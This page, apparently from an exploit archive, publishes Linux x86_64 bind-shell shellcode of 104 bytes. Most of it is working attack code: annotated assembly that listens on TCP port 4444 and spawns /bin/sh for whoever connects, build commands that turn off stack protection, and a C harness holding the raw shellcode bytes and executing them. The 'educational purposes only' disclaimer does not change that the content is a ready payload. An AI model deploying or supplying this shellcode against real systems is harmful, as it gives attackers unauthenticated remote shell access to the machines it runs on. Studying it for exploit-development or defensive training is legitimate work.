Linux/x86_64 bind (4444/tcp) shell (/bin/sh) shellcode (104 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-06-10 | Type : shellcode | Platform : linux_x86-64
This exploit / vulnerability Linux/x86_64 bind (4444/tcp) shell (/bin/sh) shellcode (104 bytes) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

;Title: Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) (104 bytes)
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 104 bytes
;github = https://github.com/STARRBOY
;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"


================== ASSEMBLY ========================================

global _start


section .text

_start:



;create_socket
;int socket(AF_INET, SOCK_STREAM, 0);

push 41 ;sys_socket
pop rax
push 2 ;AF_INET
pop rdi
push 1 ;SOCK_STREAM
pop rsi
xor rdx, rdx
syscall

;save the return value for future use
xchg rdi, rax


; sin_zero: 0
; sin_addr.s_addr: INADDR_ANY = 0
; sin_port: 4444
; sin_family: AF_INET = 2

push 2 ;sin_family = AF_INET
mov word [rsp + 2], 0x5c11 ;port = 4444
push rsp
pop rsi




bind:
;int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

push 49 ;sys_bind
pop rax
push rsp
pop rsi ;sockaddr stack pointer
push 16 ;sizeof sockaddr
pop rdx
syscall


listen:
;int listen(int sockfd, int backlog);

push 50 ;sys_listen
pop rax
push 1
pop rsi ;backlog = number of clients = 1
syscall


accept:
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);




push 43 ;sys_accept
pop rax
sub rsp, 16 ;size of the structure on the stack
push rsp
pop rsi ;struct sockaddr
push 16 ;length of the address
push rsp ;stack pointer for struct size
pop rdx
syscall


xchg r10, rax ;save client socket in r10, since we won't use that register for any other operation


close:
;int close(int fd);

push 3 ;sys_close
pop rax
push rax ;save 3 on the stack for rsi in dup2
syscall


xchg rdi, r10 ;client socket as first parameter for dup2
pop rsi ;parameter for dup2 = 3

dup2loop:

; int dup2(int oldfd, int newfd);

push 33 ;sys_dup2
pop rax
dec rsi
syscall
loopnz dup2loop



spawn_shell:

;int execve(const char *filename, char *const argv[],char *const envp[]);

xor rsi, rsi ;clear rsi
push rsi ;push null on the stack
mov rdi, 0x68732f2f6e69622f ;/bin//sh in reverse order
push rdi
push rsp
pop rdi ;stack pointer to /bin//sh
mov al, 59 ;sys_execve
cdq ;sign extend of eax
syscall






=======Generate Shellcode==========================================
nasm -felf64 tcp_bind_shell.nasm -o tcp_bind_shell.o
ld tcp_bind_shell.o -o tcp_bind_shell


=========generate C program to exploit=============================
gcc -fno-stack-protector -z execstack bind.c -o bind


======================C program=====================================

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f\x05"
"\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x11\x5c\x54\x5e\x6a"
"\x31\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x32\x58\x6a\x01"
"\x5e\x0f\x05\x6a\x2b\x58\x48\x83\xec\x10\x54\x5e\x6a\x10"
"\x54\x5a\x0f\x05\x49\x92\x6a\x03\x58\x50\x0f\x05\x49\x87"
"\xfa\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\xe0\xf6\x48\x31"
"\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5f\xb0\x3b\x99\x0f\x05";


int main(){

printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

int (*ret)() = (int(*)())shellcode;

ret();
}